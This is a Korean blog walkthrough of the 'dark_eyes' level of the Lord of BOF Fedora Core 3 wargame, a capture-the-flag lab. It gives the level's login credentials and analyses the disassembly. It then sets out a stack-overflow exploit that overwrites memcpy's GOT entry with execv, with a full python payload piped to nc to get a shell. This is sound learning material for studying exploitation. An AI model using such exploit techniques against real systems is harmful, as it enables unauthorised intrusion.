일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- C++ gui
- 백준
- C언어
- C++ gui 라이브러리
- 연결리스트
- vim-go
- 자료구조
- JUCE library
- 알고리즘
- a tour of go
- JUCE라이브러리
- Nebula
- LOB
- JUCE 튜토리얼
- c++ heap
- go channel
- Docker
- go
- JUCE
- tour of go
- BOJ
- 프로그래밍
- C++ library
- OS
- gui
- 코딩
- 리듬게임
- 운영체제
- C++
- 공룡책
- Today
- Total
CafeM0ca
[FC3]level2 dark_eyes 본문
ID:dark_eyes
PW:because of you
리모트라서 심볼릭링크가 불가능하다.
일단 어셈블리부터 보자.
ebp-1304가 temp다. 인자를 보면 fgets임을 알 수 있다.
strcpy부분. ebp-264가 버퍼다.
temp를 꽉체워서 buffer를 덮으면 편하겠지만 1024밖에 못채운다.
따라서 모카는 stdin에 execv를 셋팅하고 strcpy로 memcpy의 got를 execv의 주소로 덮어씌우고 memcpy를 호출할꺼다.
strcpy와 memcpy를 거꾸로해도 되지만 인자구성이 까다로워진다. execv의 주소는 stdin의 주소로 사용하면 됀다.
(plt와 got의 설명은 생략. 구글링 ㄲ)
payload
"A"*268+strcpy+memcpy+memcpy's got+&(execv)
strcpy의 호출된 후(main함수의 ret이 끝나고) memcpy(execv)가 실행되면서 인자를 받는데 이때 인자는 ebp+8을 첫번째 인자로 받는다.
ebp가 어디를 가리키고 있나 봤더니 sfp+96부분을 가리키고 있었다. ASLR이 적용되있지만 상대주소이므로 main함수가 종료된후 ebp는 ebp+96부분을 가리키게 된다.따라서 ebp+104부분이 memcpy(execv로 덮어진) 첫번째 인자다.
payload
"A"*268+strcpy+memcpy+memcpy's got+&(execv)+"A"*84+"&/bin/sh(execv 인자1)"+"\x00\x00\x00\x00"+"execv"+"/bin/sh"+"\x00"
그런데 인자로 /bin/sh를 주면 세그폴트가뜬다. /bin/my-pass로 인자를 전달하자. //이유는 모르겠다;
exploit
(python -c 'print "A"*268+"\xcc\x83\x04\x08"+"\xbc\x83\x04\x08"+"\x70\x97\x04\x08"+"\x78\xe1\xff\xf6"+"A"*84+"\x7c\xe1\xff\xf6"+"\x00\x00\x00\x00"+"\xd3\x55\x7a\x00"+"/bin/my-pass"+"\x00"';cat) | nc localhost 7777
2017년 9월 중순부터 10월 중순까지 잡고있었지만 당시에는 야매로 공부해서 그런지 스택에 대한 이해가 부족했었다. 어떡게든 풀려했었지만 접었다. 이제와서 풀어보는데 2일이 걸렸다.. 저 /bin/sh가 안되는 것 때문에.. 어쩃든 17모카를 뛰어넘었다. 18모카는 짱해커가 되어있길 소망해본다 ^ㅎ^~ 진짜.. 쉘따니까 기분좋다. 그간의 암을 다 항암치료하는 느낌..
'Hacking > LOB(Fedora3)' 카테고리의 다른 글
[FC3]level4 evil_wizard (0) | 2018.01.31 |
---|---|
[FC3]level3 hell_fire (0) | 2018.01.29 |
[FC3]level1 iron_golem (0) | 2018.01.26 |
[FC3]level0 gate (0) | 2018.01.26 |
[FC3]풀이하기 전에 (0) | 2018.01.26 |